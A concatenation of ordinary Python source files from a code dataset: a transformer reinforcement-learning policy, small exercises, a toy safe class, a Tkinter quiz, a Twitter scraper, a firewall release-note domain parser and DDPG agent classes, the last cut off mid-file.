forward(self, x):\n # make embeddings relatively larger\n x = x * math.pow(self.d_model,1/3)\n #add constant to embedding\n seq_len = x.size(1)\n x = x + self.pe[:,:seq_len].clone().detach().cuda()\n return x\n\nclass MultiHeadAttention(nn.Module):\n def __init__(self, heads, d_model, dropout = 0.1):\n super().__init__()\n \n self.d_model = d_model\n self.head_dim = d_model // heads\n self.heads = heads\n \n assert (self.head_dim * self.heads == self.d_model), \"dimension of embeddings, should be divisible by heads\"\n \n self.q_linear = nn.Linear(self.head_dim, self.head_dim)\n self.v_linear = nn.Linear(self.head_dim, self.head_dim)\n self.k_linear = nn.Linear(self.head_dim, self.head_dim)\n self.dropout = nn.Dropout(dropout)\n self.fc_out = nn.Linear(self.heads*self.head_dim, self.d_model)\n\n def forward(self, values, keys, query, mask = None):\n # Get number of env running at the same time\n batch_n = query.shape[0]\n\n value_len, key_len, query_len = values.shape[1], keys.shape[1], query.shape[1]\n\n # Reshape into head dimensions\n values = values.reshape(batch_n, value_len, self.heads, self.head_dim)\n keys = keys.reshape(batch_n, key_len, self.heads, self.head_dim)\n query = query.reshape(batch_n, query_len, self.heads, self.head_dim)\n\n values = self.v_linear(values) # (batch_n, value_len, heads, head_dim)\n keys = self.k_linear(keys) # (batch_n, key_len, heads, head_dim)\n queries = self.q_linear(query) # (batch_n, query_len, heads, heads_dim)\n\n # Einsum does matrix mult. for query*keys for each training example\n # with every other training example, don't be confused by einsum\n # it's just how I like doing matrix multiplication & bmm\n\n energy = torch.einsum(\"nqhd,nkhd->nhqk\", [queries, keys]) # Equivalent til prikke alle 64,16 ved q med 64,16 ved k, og få 16x16 matricer ud\n \n if mask != None:\n energy = energy.masked_fill(mask == 0, float(\"-1e20\"))\n \n # Normalize energy values similarly to seq2seq + attention\n # so that they sum to 1. Also divide by scaling factor for\n # better stability\n attention = torch.softmax(energy / (self.d_model ** (1 / 2)), dim=3)\n # attention shape: (N, heads, query_len, key_len)\n\n out = torch.einsum(\"nhql,nlhd->nqhd\", [attention, values]).reshape(\n batch_n, query_len, self.heads * self.head_dim\n )\n # attention shape: (N, heads, query_len, key_len)\n # values shape: (N, value_len, heads, heads_dim)\n # out after matrix multiply: (N, query_len, heads, head_dim), then\n # we reshape and flatten the last two dimensions.\n\n out = self.fc_out(out)\n # Linear layer doesn't modify the shape, final shape will be\n # (N, query_len, embed_size)\n\n return out\n\nclass TransformerBlock(nn.Module):\n def __init__(self, attention, d_model, dropout, forward_scale):\n super().__init__()\n self.attention = attention\n self.norm1 = nn.LayerNorm(d_model)\n self.norm2 = nn.LayerNorm(d_model)\n\n self.feed_forward = nn.Sequential(\n nn.Linear(d_model, forward_scale * d_model),\n nn.ReLU(),\n nn.Linear(forward_scale * d_model, d_model),\n )\n\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, value, key, query, mask = None):\n attention = self.attention(value, key, query, mask)\n\n # Add skip connection, run through normalization and finally dropout\n x = self.dropout(self.norm1(attention + query))\n forward = self.feed_forward(x)\n out = self.dropout(self.norm2(forward + x))\n return out\n \nclass TransformerBlock_wo_addition(nn.Module):\n def __init__(self, attention, d_model, dropout, forward_scale):\n super().__init__()\n self.attention = attention\n self.norm1 = nn.LayerNorm(d_model)\n self.norm2 = nn.LayerNorm(d_model)\n\n self.feed_forward = nn.Sequential(\n nn.Linear(d_model, forward_scale * d_model),\n nn.ReLU(),\n nn.Linear(forward_scale * d_model, d_model),\n )\n\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, value, key, query, mask = None):\n attention = self.attention(value, key, query, mask)\n\n # Add skip connection, run through normalization and finally dropout\n x = self.dropout(self.norm1(attention))\n forward = self.feed_forward(x)\n out = self.dropout(self.norm2(forward + x))\n return out\n\nclass Policy4(nn.Module):\n def __init__(self, image_split, encoder, pos_encoder, transformer_block, encoder_out_dim, num_actions):\n super().__init__()\n self.image_split = image_split\n self.encoder = encoder\n self.pos_encoder = pos_encoder\n self.transformer_block = transformer_block\n self.policy = orthogonal_init(nn.Linear(encoder_out_dim, num_actions), gain=.01)\n self.value = orthogonal_init(nn.Linear(encoder_out_dim, 1), gain=1.)\n\n def act(self, x):\n with torch.no_grad():\n x = x.cuda().contiguous()\n dist, value = self.forward(x)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n \n return action.cpu(), log_prob.cpu(), value.cpu()\n\n def forward(self, x):\n x = self.image_split(x)\n \n n = x.shape[0]\n splits = x.shape[1]\n \n x = torch.reshape(x,(x.shape[0]*x.shape[1],x.shape[2],x.shape[3],x.shape[4]))\n x = self.encoder(x)\n x = torch.reshape(x,(n,splits,x.shape[1]))\n x = self.pos_encoder(x)\n \n x = self.transformer_block(x,x,x)\n \n x = x.view(x.size(0), -1)\n \n logits = self.policy(x)\n value = self.value(x).squeeze(1)\n dist = torch.distributions.Categorical(logits=logits)\n\n return dist, value\n\nclass Policy5(nn.Module):\n def __init__(self, image_split, encoder, action_encoder, pos_encoder_img, pos_encoder_seq, transformer_block_img, transformer_block_seq, encoder_out_dim_img, encoder_out_dim_seq, num_actions):\n super().__init__()\n self.image_split = image_split\n self.encoder = encoder\n self.action_encoder = action_encoder\n self.pos_encoder_img = pos_encoder_img\n self.pos_encoder_seq = pos_encoder_seq\n self.transformer_block_img = transformer_block_img\n self.transformer_block_seq = transformer_block_seq\n self.linear = orthogonal_init(nn.Linear(encoder_out_dim_seq, int(encoder_out_dim_seq/2)), gain=.01)\n self.policy = orthogonal_init(nn.Linear(int(encoder_out_dim_seq/2), num_actions), gain=.01)\n self.value = orthogonal_init(nn.Linear(int(encoder_out_dim_seq/2), 1), gain=1.)\n\n def act(self, x, actions, action_mask = None):\n with torch.no_grad():\n x = x.cuda().contiguous()\n dist, value = self.forward(x, actions, action_mask)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n \n return action.cpu(), log_prob.cpu(), value.cpu()\n\n def forward(self, x, actions, action_mask = None):\n x = self.image_split(x)\n \n n = x.shape[0]\n splits = x.shape[1]\n \n x = torch.reshape(x,(x.shape[0]*x.shape[1],x.shape[2],x.shape[3],x.shape[4]))\n x = self.encoder(x)\n x = torch.reshape(x,(n,splits,x.shape[1]))\n x = self.pos_encoder_img(x)\n \n x = self.transformer_block_img(x,x,x)\n \n x = x.view(x.size(0), -1)\n \n n_act = actions.shape[0]\n act_back = actions.shape[1]\n \n act = torch.reshape(actions, (actions.shape[0]*actions.shape[1],actions.shape[2]))\n act = self.action_encoder(act)\n act = torch.reshape(act,(n_act,act_back,act.shape[1]))\n act = self.pos_encoder_seq(act)\n \n act = self.transformer_block_seq(act,act,act, action_mask)\n \n act = act.view(act.size(0), -1)\n \n x = torch.cat([x,act],dim=1)\n \n x = F.relu(self.linear(x))\n \n logits = F.softmax(self.policy(x),dim=1)\n value = self.value(x).squeeze(1)\n dist = torch.distributions.Categorical(logits=logits)\n\n return dist, value\n","repo_name":"Markusssorensen/procgen","sub_path":"modelutils.py","file_name":"modelutils.py","file_ext":"py","file_size_in_byte":15367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72718909574","text":"x = int(input()) \r\ndict = {\r\n 61:'Brasilia',\r\n 71:'Salvador',\r\n 11:'Sao Paulo',\r\n 21:'Rio de Janeiro',\r\n 32:'Juiz de Fora',\r\n 19:'Campinas',\r\n 27:'Vitoria',\r\n 31:'Belo Horizonte'\r\n}\r\nif x not in dict:\r\n print(\"DDD nao cadastrado\")\r\nelse:\r\n print(dict[x]) ","repo_name":"SomenChowdhuy/beecrowdCodes1","sub_path":"1050.py","file_name":"1050.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"30774537247","text":"#Maxwell Parker\r\n#Assignment 10.1: Your Own Class\r\n#This code is a sample script for a class that creates a safe to store your belongings\r\n\r\n#importing time module\r\nimport time\r\n#importing randint from random module\r\nfrom random import randint\r\n\r\n'''Safe class'''\r\nclass Safe:\r\n #initializing count, which adds 1 to the current pin after every iteration\r\n count = 0\r\n #initializing starting number, the beginning number for code_breaker to start iterating from\r\n start_num = \"0\"\r\n #initializing random numbers which determine whether the trapped_safe function occurs and what it returns\r\n rand_num = randint(1,2)\r\n second_rand_num = randint(1,2)\r\n \r\n #constructor method\r\n def __init__(self, pin=\"1234\", color=\"Black\", contents=\"nothing\"):\r\n #initializing color of safe\r\n self.__color = color\r\n #initializing pin number for use in code_breaker function\r\n self.__pin = pin\r\n #initializing code range, the highest number to iterate to in code_breaker\r\n self.__code_range = int(\"1\" + (len(self.__pin) * \"0\"))\r\n #initializing contents of safe\r\n self.__contents = contents\r\n \r\n #get_color function: returns color of safe\r\n def get_color(self):\r\n return self.__color\r\n #set_color function: sets the color of the safe\r\n def set_color(self, color):\r\n self.__color = color\r\n #get_contents function: returns contents of safe\r\n def get_contents(self):\r\n return self.__contents\r\n #set_contents function: sets the contents of the safe\r\n def set_contents(self, contents):\r\n self.__contents = contents\r\n \r\n #code_breaker function: takes the pin number, iterates through all possible number combinations of pin length until the pin is found\r\n def code_breaker(self):\r\n #creates a start time for the beginning time of the function\r\n start = time.time()\r\n #iterates through each number combination in code range\r\n for i in range(self.__code_range):\r\n #iterates through each number in starting number\r\n for num in Safe.start_num:\r\n #creates a pin number that increases by 1 every iteration, with leading zeros the length of the original pin\r\n current_pin = str(int(Safe.start_num) + Safe.count).zfill(len(self.__pin))\r\n #if the iterated pin is the same as the inputted pin\r\n if current_pin == self.__pin:\r\n #creates an end time for the end of the function\r\n end = time.time()\r\n #total time for function to finish\r\n total_time = round((end - start), 3)\r\n #if the total time < 0.001 seconds\r\n if (end-start) < 0.001:\r\n #return string with current pin\r\n return f\"Safe unlocked! The code is {current_pin}. \\ntime taken to crack code: < 0.001 seconds\"\r\n else:\r\n #return string with current pin and total time for code to be found\r\n return f\"Safe unlocked! the code is {current_pin}. \\ntime taken to crack code: {total_time} seconds\" \r\n else:\r\n #adds 1 to the count\r\n Safe.count += 1\r\n #prints each iterated pin on the same line until code is found\r\n print(f\"Current number: {current_pin}\", end=\"\\r\")\r\n \r\n #trapped_safe function: returns string saying the safe was trapped, counts down from 10 to 0, returns string saying \"BOOM!\" or \"Just kidding!\" depending on second_rand_num\r\n def trapped_safe(self):\r\n print(\"The safe was trapped...Dear God...\")\r\n #iterates through each number in this range from 10 to -1, counting down\r\n for i in range(10, -1, -1):\r\n #prints iterated number denoting time till explosion, is replaced by next iterated number until finished\r\n print(f\"explosion in {i}...\", end=\"\\r\")\r\n #stops counting for 1 second\r\n time.sleep(1)\r\n #if the second random number is 1\r\n if Safe.second_rand_num == 1:\r\n #explosion\r\n return \"\\nBOOM!\"\r\n #the second random number is not 1\r\n else:\r\n #prank trapped safe\r\n return \"\\nJust kidding!\"\r\n\r\n\r\n'''main function'''\r\ndef main():\r\n #calls safe class without pin input argument\r\n color_call = Safe()\r\n #calls set_color function to change the safe's color to white\r\n color_call.set_color(\"White\")\r\n #returns color of safe\r\n print(f\"Safe color: {color_call.get_color()}\")\r\n #asks user to input PIN number\r\n pin_prompt = input(\"Type a PIN number here: \")\r\n #try statement to handle errors\r\n try:\r\n #if pin_prompt can be cast into an int and is greater than or equal to zero\r\n if int(pin_prompt) >= 0:\r\n #calls safe class with pin input argument\r\n call_class = Safe(pin_prompt)\r\n #prints code_breaker function\r\n print(call_class.code_breaker())\r\n #if the random number in the Safe class is 2\r\n if Safe.rand_num == 2:\r\n #print the trapped safe function\r\n print(call_class.trapped_safe())\r\n #if the random number in the Safe clas isn't 2\r\n else:\r\n #calls set_contents function with a list of items as input\r\n call_class.set_contents([\"$3000\", \"stuffed teddy bear\", \"3 gold bars\", \"family photo\"])\r\n #if the type of the contents in safe is a string\r\n if type(call_class.get_contents()) == str:\r\n #prints contents of safe\r\n print(f\"contents of safe: {call_class.get_contents()}\")\r\n #if the type of contents in safe is a list\r\n elif type(call_class.get_contents()) == list:\r\n #adds each entry in the list of contents to a string, separated by \", \"\r\n contents_string = \", \".join(call_class.get_contents())\r\n #prints contents of safe\r\n print(f\"contents of safe: {contents_string}\")\r\n #if the contents in the safe are neither list nor string\r\n else:\r\n print(\"The contents you set is invalid. The contents must be a string or a list containing only strings.\")\r\n return None\r\n #pin_prompt is not greater than or equal to zero\r\n else:\r\n print(\"The PIN number you entered is invalid. The PIN number must be a number that is greater than or equal to 0\")\r\n return None\r\n #an error was raised because pin_prompt couldn't be cast as an int\r\n except:\r\n print(\"The PIN number you entered is invalid. The PIN number must be a number that is greater than or equal to 0\")\r\n return None\r\n \r\n\r\n'''calling main'''\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"MisterPickler/Safe-class","sub_path":"your_own_class.py","file_name":"your_own_class.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43244583608","text":"import logging\nfrom logging.config import dictConfig\nimport os\nfrom threading import Thread\nimport re\n\nfrom bs4 import BeautifulSoup\nfrom dotenv import load_dotenv\n\nfrom scraper import EngToolsDownloader\n\n\n\nhome = os.getenv('HOME')\ndot = os.getenv('PWD')\nenv_path = os.path.join(dot, 'src', 'lib', '.defaultrc')\nload_dotenv(dotenv_path=env_path, verbose=True)\nenv_path = os.path.join(home, '.panrc')\nload_dotenv(dotenv_path=env_path, verbose=True, override=True)\n\n\ndictConfig({\n 'version': 1,\n 'formatters': {'default': {\n 'format': '[%(asctime)s] %(levelname)s in %(module)s: %(message)s',\n }},\n 'handlers': {'wsgi': {\n 'class': 'logging.StreamHandler',\n 'stream': 'ext://sys.stdout',\n 'formatter': 'default'\n }},\n 'root': {\n 'level': os.getenv('LOGGING_LEVEL'),\n 'handlers': ['wsgi']\n }\n})\n\n\n\ndef parse(soup, pattern, array):\n '''\n Pulls all domains of one type from the soup and then writes them to the array.\n\n Keyword arguments:\n soup -- the soup to parse\n pattern -- the section header pattern to find in the soup\n array -- the array to put items in after they have been parsed\n '''\n # Pull out a list of tds from parse tree\n try:\n header = soup.find('h3', text=pattern)\n tds = header.find_next_sibling('table').find_all('td')\n\n # Get domains from table entries\n for td in tds:\n raw_scrape = td.string\n # Extract domains from \"Suspicious DNS Query\" parentheses\n result = re.search(r'\\((.*)\\)', raw_scrape)\n if result is None:\n split = raw_scrape.split(':')\n else:\n split = result.group(1).split(':')\n if 'Backdoor' in split[0] or 'Virus' in split[0] or 'generic' in split[0]:\n array.append(split[1])\n\n except Exception as e:\n logging.error(f\"Parse of failed. \"\n \"Are you sure this HTML file is the right format?\")\n logging.error(e)\n # If we can't parse out domains, this suggests a fundamental document\n # format change requiring more maintenance than a simple retry. Get a human to look at this.\n raise e\n\n\n\nif __name__ == '__main__':\n # If the number of domains requested is not a number, output all the domains.\n try:\n num_output = int(os.getenv('NUM_DOMAINS_OUTPUT'))\n except ValueError:\n num_output = None\n\n scraper = EngToolsDownloader(ip=os.getenv('FW_IP'), username=os.getenv('FW_USERNAME'),\n password=os.getenv('FW_PASSWORD'),\n download_dir=os.getenv('DOWNLOAD_DIR'))\n scraper.download_release()\n\n\n # Open version file\n path = f\"{os.getenv('DOWNLOAD_DIR')}/Updates_{scraper.latest_version}.html\"\n\n try:\n data = open(path)\n except Exception as e:\n logging.error(f\"Issue opening provided file at {path}.\")\n raise e # Reraise so the script stops\n\n # Parse file\n soup = BeautifulSoup(data, 'html5lib')\n\n\n # Domains go in here after being parsed out\n all_domains = []\n\n # Just parse added\n parse(soup, re.compile(os.getenv('ADD_REGEX')), all_domains)\n\n\n # Write both added and removed arrays to file.\n write_path = f\"{os.getenv('PARSED_DIR')}/parsed.txt\"\n try:\n outfile = open(write_path, 'w')\n except Exception as e:\n logging.error(f\"Issue creating a new file as {write_path}.\")\n raise e\n\n for domain in all_domains[:num_output]:\n outfile.write(f\"{domain}\\n\")\n\n outfile.close()\n logging.info(f\"Finished running. Find your new domains at {write_path}.\")\n","repo_name":"GiselleSerate/pandorica","sub_path":"src/to_file_parser.py","file_name":"to_file_parser.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"5831840253","text":"'''\r\n统计一个数字在排序数组中出现的次数。\r\n\r\n\r\n\r\n示例 1:\r\n\r\n输入: nums = [5,7,7,8,8,10], target = 8\r\n输出: 2\r\n示例 2:\r\n\r\n输入: nums = [5,7,7,8,8,10], target = 6\r\n输出: 0\r\n\r\n\r\n限制：\r\n\r\n0 <= 数组长度 <= 50000\r\n'''\r\nfrom typing import List\r\n\r\nfrom leetcode.tools.time import printTime\r\n\r\n\r\nclass Solution:\r\n @printTime()\r\n def search(self, nums: List[int], target: int) -> int:\r\n self.len = len(nums)\r\n if self.len == 0:\r\n return 0\r\n left = 0\r\n right = self.len - 1\r\n while left < right:\r\n mid = (left + right) >> 1\r\n if nums[mid] < target:\r\n left = mid + 1\r\n else:\r\n right = mid\r\n t1 = left\r\n left = t1\r\n right = self.len - 1\r\n while left < right:\r\n mid = (left + right) >> 1\r\n if nums[mid] > target:\r\n right = mid\r\n else:\r\n left = mid + 1\r\n return (left - t1 + 1) if nums[left] == target else left - t1\r\n\r\nnums = [4,5,5]\r\ntarget = 5\r\nSolution().search(nums, target)","repo_name":"CrzRabbit/Python","sub_path":"leetcode/interview question/剑指 Offer 53 - I. 在排序数组中查找数字 I.py","file_name":"剑指 Offer 53 - I. 在排序数组中查找数字 I.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"31200062792","text":"#!/usr/bin/env python3\n################################################################################\n# game_gui.py\n#\n# Game view\n#\n# 02.08.2018 Created by: rada\n################################################################################\nfrom tkinter import *\nfrom game import *\n\nclass GameGUI():\n def __init__(self, master, game):\n self.master = master\n \n # Default attributes\n self.master.title = \"Назовите валюту страны\"\n self.master.geometry(self.center(master))\n self.master.attributes('-topmost', True)\n self.master.config(background='lightblue')\n\n # Widgets\n self.top_frame = Frame(self.master, width=300, height=400, bg='pink')\n self.top_frame.grid(row=0, sticky=W)\n \n self.label_question = Label(self.top_frame, text=\"Страна\", background='lightblue')\n self.label_question.grid(row=0, sticky=E)\n \n self.question_box = Text(self.top_frame, width=20, height=1, bg='light grey')\n self.question_box.grid(row=0, column=1, sticky=W)\n \n self.label_reply = Label(self.top_frame, text=\"Введите валюту\", background='lightblue')\n self.label_reply.grid(row=0, column=2, sticky=E)\n \n self.reply_box = Entry(self.top_frame, width=20, bg='light grey', bd=5)\n self.reply_box.grid(row=0, column=3, sticky=W)\n \n self.button_reply = Button(self.top_frame, text='Ответить', command=game.reply)\n self.button_reply.grid(row=0, column=4, sticky=E)\n self.button_reply.config(state=DISABLED)\n \n self.result_box = Text(self.top_frame, width=90, height=20, bg='cyan')\n self.result_box.grid(row=1, columnspan=5, sticky=W)\n \n self.bottom_frame = Frame(self.master, width=300, height=400, bg='light green')\n self.bottom_frame.grid(row=2, sticky=W)\n \n self.button_quit = Button(self.bottom_frame, text='Закончить', command=game.quit)\n self.button_quit.grid(row=0, column=1, sticky=E)\n\n self.button_start = Button(self.bottom_frame, text='Начать', command=lambda: game.start(self))\n self.button_start.grid(row=0, column=0, sticky=E) \n \n def center(self, master):\n master_width = 800\n master_height = 600\n \n screen_width = master.winfo_screenwidth()\n screen_height = master.winfo_screenheight()\n\n master_x = (screen_width - master_width)/2\n master_y = (screen_height - master_height)/2\n return('%dx%d+%d+%d' % (master_width, master_height, master_x, master_y))\n","repo_name":"radatelyukova/Currency","sub_path":"currency/game_gui.py","file_name":"game_gui.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12603207780","text":"class ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n def __repr__(self):\n tmp = []\n node = self\n max_depth = 20\n while node:\n max_depth -= 1\n if max_depth < 0:\n break\n tmp.append(repr(node.val))\n node = node.next\n else:\n tmp.append('None')\n return ' -> '.join(tmp)\n\n\ndef build_list_node(nums):\n head = node = ListNode(None)\n for i in nums:\n node.next = ListNode(i)\n node = node.next\n return head.next\n\n\ndef reverse_link_list(head):\n cur, prev = head, None\n while cur:\n cur.next, prev, cur = prev, cur, cur.next\n # a = cur.next\n # b = prev\n # c = cur\n # cur.next = b\n # prev = c\n # cur = a\n return prev\n\n\nl = build_list_node(range(1, 10))\n\nprint(reverse_link_list(l))\n","repo_name":"ruanimal/vscode-leetcode-cn","sub_path":"template/反转链表.py","file_name":"反转链表.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12535893392","text":"#TWITTER_SCRAPING\n\n#Import_required_modules\nimport pandas as pd\nfrom pymongo import MongoClient\nimport streamlit as st\nimport time\nimport snscrape.modules.twitter as sntwitter\n\ndef main():\n menu = [\"HOME\",\"ABOUT\"]\n choice = st.sidebar.selectbox(\"MENU\",menu)\n\n if choice == \"HOME\":\n col1,col2,col3,col4,col5=st.columns(5)\n with col2:\n st.image(\"https://media.giphy.com/media/SMKiEh9WDO6ze/giphy.gif\")\n\n with col3:\n st.title('TWITTER_SCRAP')\n\n # Get input from user \n hashtag=st.text_input('Enter the Username or Hashtag(#example) ')\n tconut=st.number_input(\"Tweet count need to scraped\",0,1000000)\n from_date=st.date_input(\"Since\")\n end_date=st.date_input(\"Until\")\n \n #create a scrap button\n load=st.button('SCRAP')\n #initialize session state\n if \"load_state\" not in st.session_state:\n st.session_state.load_state=False\n \n if load or st.session_state.load_state :\n st.session_state.load_state=True\n \n \n need=(f'{hashtag} since:{from_date} until:{end_date}')\n tweets = []\n for tweet in sntwitter.TwitterSearchScraper(need).get_items():\n if len(tweets)== tconut:\n break\n else:\n tweets.append({'date': tweet.date, 'id': tweet.id, 'url': tweet.url,'tweet_content': tweet.content,'user': tweet.user.username,\n 'replyCount': tweet.replyCount, 'retweet_count': tweet.retweetCount,'language': tweet.lang, 'source': tweet.source, 'like_count': tweet.likeCount})\n \n df=pd.DataFrame(tweets,columns=[\"date\",\"id\",\"url\",\"content\",\"user\",\"replyCount\",\"retweetCount\",\"language\",\"source\",\"likeCount\"])\n \n #display DataFrame\n st.dataframe(df)\n\n left,right=st.columns(2)\n with right:\n connect=st.button('upload Database')\n \n #connect mangodb client\n if connect:\n \n client = MongoClient(\"mongodb://localhost:27017/\")\n # database\n db = client[\"twitter_scrap\"]\n # collection\n collection= db[f\"{hashtag}_tweets\"]\n df.reset_index(inplace=True)\n\n dict=df.to_dict(orient='records')\n collection.insert_one({\"index\":\"scaped data\",\"data\":dict})\n st.success(\"successfully Uploaded\")\n with left:\n #download button for csv\n if st.download_button(\n \"download as csv\",\n df.to_csv(),\n file_name=f\"{hashtag}_tweets_data.csv\",\n mime='text/csv'\n ):\n st.success(\"File Downloaded\")\n #download button for json\n if st.download_button(\n \"downlaod as json\",\n df.to_json(orient='records', force_ascii=False, indent=4, default_handler=str),\n file_name=f\"{hashtag}_tweets_data.json\",\n mime='application/json'\n ):\n st.success(\"File downloaded\")\n\n if choice ==\"ABOUT\":\n st.title(\"THANKYOU\")\n\nif __name__ == '__main__':\n main()","repo_name":"Kugan1/twitter_scraper","sub_path":"Twitter_Scrapper.py","file_name":"Twitter_Scrapper.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4291960516","text":"# coding:utf-8\nimport tensorflow as tf\nimport numpy as np\nimport time\nfrom ReinforcementLearning.Modules.Environments.IEnv import IEnv\nfrom ReinforcementLearning.Modules.Models.Models import DDPG_Model_v1, DDPG_Global_And_Local_Models_v1, \\\n DDPG_Model_v2_With_Reward_PreCorr\nfrom ReinforcementLearning.Modules.Agents.IAgent import IAgent\nfrom ReinforcementLearning.Modules.DataAnalysisTools.DataMonitor import RuntimeLineChart, LineConfig\nimport threading\nfrom multiprocessing import Process\nimport warnings\nimport random\nimport copy\n\n\nclass DDPG_Agent_v1(IAgent):\n Author = \"BaoChuan Wang\"\n AllowImport = True\n '''\n 简单的DDPG测试模型,没有并行和存储功能\n '''\n\n def __init__(self, env,\n save_dir=\"./ddpg_ckpt/\",\n save_interval=1000,\n use_model_with_pre_calculated_g=True,\n kwargs_for_model=None\n ):\n if kwargs_for_model is None:\n kwargs_for_model = {}\n self.s_dim = env.observation_space[0]\n self.a_dim = env.action_space[0]\n\n if use_model_with_pre_calculated_g: # 使用预先计算的q值作为value\n self.model = DDPG_Model_v2_With_Reward_PreCorr(\n a_dim=self.a_dim, s_dim=self.s_dim, a_bound=1.0, **kwargs_for_model)\n else:\n self.model = DDPG_Model_v1(a_dim=self.a_dim, s_dim=self.s_dim, **kwargs_for_model)\n self.env = env\n self.env.connect()\n self.env.start()\n\n def train(self):\n\n # 在action输出时,对输出的浮点数进行一次随机,这个是随机的方差\n variance = 1\n # 随机的方差会逐渐减小,以从广度过渡到深度/确定性搜索\n variance_decay = 0.995\n # 当完成这个步数的时候variance *= decay\n variance_decay_step = 100\n current_state = self.env.reset()\n total_step = 1\n # ep_reward = 0\n while 1:\n action = self.model.choose_action(current_state)\n # action分别是油门/刹车 和 左转/右转 因此值域-1到1,这里加上方差\n action = np.clip(np.random.normal(action, variance), -1, 1)\n new_state, reward, done, _ = self.env.step(action)\n\n self.model.store_transition(current_state, action, reward / 10, new_state)\n if total_step % variance_decay_step == 0:\n variance *= variance_decay\n\n current_state = new_state\n # ep_reward += reward\n total_step += 1\n if done:\n self.model.learn()\n print('Episode:', total_step, ' Reward: %i' % int(reward), 'Explore: %.2f' % variance,)\n\n\nclass DDPG_Agent_GAL_v1(IAgent):\n Author = \"BaoChuan Wang\"\n AllowImport = True\n\n def __init__(self, env_prototype_dict_for_workers,\n save_dir=\"./ddpg_ckpt/\",\n save_interval=100, model_hook_dict=None,\n # 下面的kwargs每一个用env_prototype_dict_for_workers的name作为key,传给worker或者model的kwargs字典作为value\n kwargs_for_worker_dict=None,\n kwargs_for_model_dict=None,\n kwargs_for_global_model=None\n ):\n\n assert isinstance(env_prototype_dict_for_workers, dict)\n first_key = list(env_prototype_dict_for_workers.keys())[0]\n assert isinstance(env_prototype_dict_for_workers[first_key], IEnv)\n self.action_space = env_prototype_dict_for_workers[first_key].action_space[0]\n self.observation_space = env_prototype_dict_for_workers[first_key].observation_space[0]\n self.save_dir = save_dir\n self.save_interval = save_interval\n if kwargs_for_worker_dict is None:\n kwargs_for_worker_dict = {}\n print(\"[WARNING]\" + self.__class__.__name__ + \": No kwargs for workers!\")\n time.sleep(1)\n if kwargs_for_model_dict is None:\n print(\"[WARNING]\" + self.__class__.__name__ + \": No kwargs for models!\")\n kwargs_for_model_dict = {}\n time.sleep(1)\n # 所有模型,统一sess\n self.sess = tf.Session()\n if kwargs_for_global_model is None:\n kwargs_for_global_model = {}\n # 全局模型加载\n self.global_model = DDPG_Global_And_Local_Models_v1(\n is_global_model=True,\n a_dim=self.action_space,\n s_dim=self.observation_space,\n scope=\"global\",\n tf_sess=self.sess,\n save_dir=save_dir, **kwargs_for_global_model)\n self.global_model.load()\n\n self.workers = []\n\n for name in env_prototype_dict_for_workers:\n model_hook = None\n if model_hook_dict is not None:\n if name in model_hook_dict.keys():\n model_hook = model_hook_dict[name]\n env = env_prototype_dict_for_workers[name]\n\n if name in kwargs_for_model_dict.keys():\n kwargs_for_model = kwargs_for_model_dict[name]\n else:\n kwargs_for_model = {}\n if name in kwargs_for_worker_dict.keys():\n kwargs_for_worker = kwargs_for_worker_dict[name]\n else:\n kwargs_for_worker = {}\n\n local_model = DDPG_Global_And_Local_Models_v1(\n is_global_model=False,\n global_model=self.global_model,\n a_dim=self.action_space,\n s_dim=self.observation_space,\n scope=name,\n tf_sess=self.sess,\n save_dir=save_dir,\n **kwargs_for_model\n )\n self.workers.append(DDPG_GAL_Worker_v1(\n env=env,\n name=name,\n global_model=self.global_model,\n local_model=local_model,\n save_ineterval=save_interval,\n tf_sess=self.sess, model_hook=model_hook, **kwargs_for_worker))\n\n def add_worker(self, env, name, kwargs_for_model, model_hook, kwargs_for_worker):\n local_model = DDPG_Global_And_Local_Models_v1(\n is_global_model=False,\n global_model=self.global_model,\n a_dim=self.action_space,\n s_dim=self.observation_space,\n scope=name,\n tf_sess=self.sess,\n save_dir=self.save_dir,\n **kwargs_for_model\n )\n self.workers.append(DDPG_GAL_Worker_v1(\n env=env,\n name=name,\n global_model=self.global_model,\n local_model=local_model,\n save_ineterval=self.save_interval,\n tf_sess=self.sess, model_hook=model_hook, **kwargs_for_worker\n\n ))\n\n def start(self):\n coord = tf.train.Coordinator()\n self.sess.run(tf.global_variables_initializer())\n worker_threads = []\n for worker in self.workers:\n job = lambda: worker.work()\n t = threading.Thread(target=job) # 创建一个线程，并分配其工作\n t.start() # 开启线程\n worker_threads.append(t)\n # 这里不要等待线程join,因为外面还有主线程!\n # coord.join(worker_threads) # 把开启的线程加入主线程，等待threads结束\n\n\nclass DDPG_GAL_Worker_v1(object):\n Author = \"BaoChuan Wang\"\n AllowImport = True\n\n # 下面的参数用于计算平均reward\n # 总reward\n TOTAL_REWARD = 0\n # 从开始到done的步数\n TOTAL_STEP = 0\n # 总worker数目\n TOTAL_WORKER_NUM = 0\n\n def __init__(self, env, name,\n # 本地和全局模型,tf计算图\n local_model,\n global_model,\n tf_sess,\n # 是否进行RL学习,如果是纯粹模仿学习可以关闭\n do_RL_learn=True,\n # 存储间隔,是done多少次之后save\n save_ineterval=100,\n # 